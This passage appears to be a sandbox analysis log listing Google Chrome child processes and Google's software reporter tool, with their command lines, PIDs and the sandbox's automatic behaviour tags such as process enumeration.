C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4984 /prefetch:8
2⤵
PID:2180

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2880 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3208

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5220 /prefetch:8
2⤵
PID:3600

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4976 /prefetch:8
2⤵
PID:1816

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4568 /prefetch:8
2⤵
PID:3720

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:8
2⤵
PID:2572

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4712 /prefetch:8
2⤵
PID:3868

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5180 /prefetch:8
2⤵
PID:656

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
2⤵
PID:1768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
2⤵
PID:2872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2492 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1004 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3624 /prefetch:8
2⤵
PID:1676

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2840 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3156

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4448 /prefetch:1
2⤵
PID:2576

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4320 /prefetch:1
2⤵
PID:3848

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4080 /prefetch:8
2⤵
PID:1196

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 /prefetch:8
2⤵
PID:1252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4252 /prefetch:8
2⤵
PID:600

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4656 /prefetch:8
2⤵
PID:3468

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5260 /prefetch:8
2⤵
PID:2964

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5368 /prefetch:8
2⤵
PID:2168

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2908 /prefetch:1
2⤵
PID:2312

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
2⤵
PID:1560

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2776 /prefetch:1
2⤵
PID:2280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:1
2⤵
PID:3732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5172 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5172 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1464

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3340 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=2180 /prefetch:8
2⤵
PID:356

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3332 /prefetch:8
2⤵
PID:3960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4360 /prefetch:1
2⤵
PID:3468

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4660 /prefetch:8
2⤵
PID:1212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2156 /prefetch:8
2⤵
PID:2292

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe
"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe" --engine=2 --scan-locations=1,2,3,4,5,6,7,8,10 --disabled-locations=9,11 --session-id=+aXX5c7ojmjQOw7K1OfsZki5OqA3moVekEjyl3b0 --registry-suffix=ESET --enable-crash-reporting --srt-field-trial-group-name=NewCleanerUIExperiment
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:972

\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe
"c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe" --crash-handler "--database=c:\users\admin\appdata\local\Google\Software Reporter Tool" --url=https://clients2.google.com/cr/report --annotation=plat=Win32 --annotation=prod=ChromeFoil --annotation=ver=93.269.200 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff778bc9300,0x7ff778bc9310,0x7ff778bc9320
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2328

\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe
"c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe" --enable-crash-reporting --use-crash-handler-with-id="\\.\pipe\crashpad_972_LKDKGLRIAGXSXIFM" --sandboxed-process-id=2 --init-done-notifier=708 --sandbox-mojo-pipe-token=12375155056214368848 --mojo-platform-channel-handle=684 --engine=2
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3628

\??\c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe
"c:\users\admin\appdata\local\google\chrome\user data\swreporter\93.269.200\software_reporter_tool.exe" --enable-crash-reporting --use-crash-handler-with-id="\\.\pipe\crashpad_972_LKDKGLRIAGXSXIFM" --sandboxed-process-id=3 --init-done-notifier=916 --sandbox-mojo-pipe-token=7906927032804247798 --mojo-platform-channel-handle=912
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1768

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4380 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1336

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4080 /prefetch:1
2⤵
PID:2748

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2504 /prefetch:1
2⤵
PID:3528

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5528 /prefetch:8
2⤵
PID:220

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5248 /prefetch:8
2⤵
PID:1212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5088 /prefetch:1
2⤵
PID:1512

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5628 /prefetch:1
2⤵
PID:688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
2⤵
PID:3588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:1
2⤵
PID:1348

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5576 /prefetch:8
2⤵
PID:2236

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2892 /prefetch:1
2⤵
PID:1876

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
2⤵
PID:612

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
2⤵
PID:1480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5960 /prefetch:8
2⤵
PID:1112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5984 /prefetch:1
2⤵
PID:1680

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
2⤵
PID:1744

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
2⤵
PID:520

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5540 /prefetch:8
2⤵
PID:4060

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5952 /prefetch:8
2⤵
PID:1016

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
2⤵
PID:960

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4224 /prefetch:1
2⤵
PID:3132

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
2⤵
PID:3588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5432 /prefetch:8
2⤵
PID:404

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4076 /prefetch:1
2⤵
PID:1292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
2⤵
PID:2220

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5736 /prefetch:1
2⤵
PID:1192

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5964 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3204

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5056 /prefetch:8
2⤵
PID:3260

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5996 /prefetch:1
2⤵
PID:4068

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6320 /prefetch:8
2⤵
PID:1312

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6320 /prefetch:1
2⤵
PID:1112

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6376 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6408 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:1
2⤵
PID:3132

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
2⤵
PID:2732

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6716 /prefetch:1
2⤵
PID:1292

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:8
2⤵
PID:2232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6468 /prefetch:8
2⤵
PID:2256

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5868 /prefetch:1
2⤵
PID:6360

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1472,5163458212380678115,17298433233957801581,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1464 /prefetch:1
2⤵
PID:5520

C:\Program Files\Google\Chrome\Application\chrome.exe
